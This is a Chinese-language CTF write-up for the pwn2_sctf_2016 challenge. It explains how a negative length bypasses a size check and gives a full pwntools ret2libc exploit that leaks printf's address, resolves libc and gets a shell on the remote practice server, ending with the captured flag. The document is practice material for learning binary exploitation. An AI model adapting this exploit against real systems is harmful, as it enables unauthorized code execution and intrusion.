潜心修炼,从基础开始
checksec pwn2_sctf_2016
[*] '/home/ctf/Downloads/pwnexercise/bjdctf_2020_babyrop/pwn2_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,开了NX,部分函数延迟绑定
$ ./pwn2_sctf_2016
How many bytes do you want me to read? 1
Ok, sounds good. Give me 1 bytes of data!
1
You said: 1
大概逻辑就是,输入一个数,读取输入数大小的内容
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
main函数里没东西,然后继续
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(nptr, v2);
return printf("You said: %s\n", nptr);
}
和之前想的差不多,但是只判断了输入数的上界,没有判断下界,如果输入-1,那么再get_n的时候就会读取一个非常大的数
$ ./pwn2_sctf_2016
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
11111111111
You said: 11111111111
# -*- coding:utf-8 -*-
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386")
# context.log_level="debug"
local = 0
elf = ELF('./pwn2_sctf_2016')
print_got=elf.got['printf']
print_plt=elf.plt['printf']
main_addr=0x80485B8
if local:
pro = process('./pwn2_sctf_2016')
else:
pro = remote('node4.buuoj.cn', 27020)
def get_libcbase():
pro.sendlineafter('me to read? ','-1')
#泄露printf的got地址
payload = b'A'*(0x2C+4)+p32(print_plt)+p32(main_addr)+p32(print_got)
pro.sendlineafter('of data!\n',payload)
pro.recvuntil('\n')
recv_addr=u32(pro.recv(4))
log.info("recv_addr=0x%x"%recv_addr)
# 利用泄露的printf函数地址计算libc基地址
libc=LibcSearcher('printf',recv_addr)
libc_base=recv_addr-libc.dump('printf')
log.info('libc_base_addr:%x'%libc_base)
return libc,libc_base
def get_shell(libc,libc_addr):
pro.sendlineafter('me to read? ','-1')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
payload=b'A'*(0x2C+4)
payload+=p32(system)+b'B'*4+p32(binsh)
pro.sendlineafter('of data!\n',payload)
pro.interactive()
if __name__ == '__main__' :
libc ,libc_addr = get_libcbase()
get_shell(libc,libc_addr)
之前查看一些大佬的题解都是使用python2来完成的,为了学习,并锻炼自己的脚本能力,我的题解都使用python3完成。
$python3 pwn2_sctfExp.py
[*] '/home/ctf/Downloads/pwnexercise/bjdctf_2020_babyrop/pwn2_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 27020: Done
pwn2_sctfExp.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
pro.sendlineafter('me to read? ','-1')
/home/ctf/.local/lib/python3.7/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
pwn2_sctfExp.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
pro.recvuntil('\n')
[*] recv_addr=0xf7e3c020
Multi Results:
0: archive-old-eglibc (id libc6-i386_2.17-93ubuntu4_amd64)
1: archive-glibc (id libc6-amd64_2.23-0ubuntu10_i386)
2: archive-old-glibc (id libc6-amd64_2.8~20080505-0ubuntu7_i386)
3: archive-old-eglibc (id libc6-i386_2.11.1-0ubuntu7.11_amd64)
4: archive-old-glibc (id libc6_2.7-10ubuntu3_i386)
5: archive-old-glibc (id libc6_2.9-4ubuntu6_amd64)
6: archive-old-glibc (id libc6_2.8~20080505-0ubuntu9_amd64)
7: archive-old-glibc (id libc6-amd64_2.8~20080505-0ubuntu9_i386)
8: archive-old-eglibc (id libc6-i386_2.13-20ubuntu5.3_amd64)
9: archive-old-glibc (id libc6-amd64_2.9-4ubuntu6_i386)
10: archive-old-eglibc (id libc6-i386_2.13-20ubuntu5_amd64)
11: archive-old-glibc (id libc6_2.8~20080505-0ubuntu7_amd64)
12: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
13: archive-glibc (id libc6_2.28-0ubuntu1_i386)
14: archive-old-glibc (id libc6-amd64_2.3.6-0ubuntu20.6_i386)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:12
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] libc_base_addr:f7df3000
pwn2_sctfExp.py:42: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
pro.sendlineafter('me to read? ','-1')
[*] Switching to interactive mode
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xd9\xe2\xf7BBBB+\xc0\xf4\xf7
$cat flag
flag{856c2945-0a99-4d3d-b3e5-226b8af0c2b8}
[*] Closed connection to node4.buuoj.cn port 27020
打完收工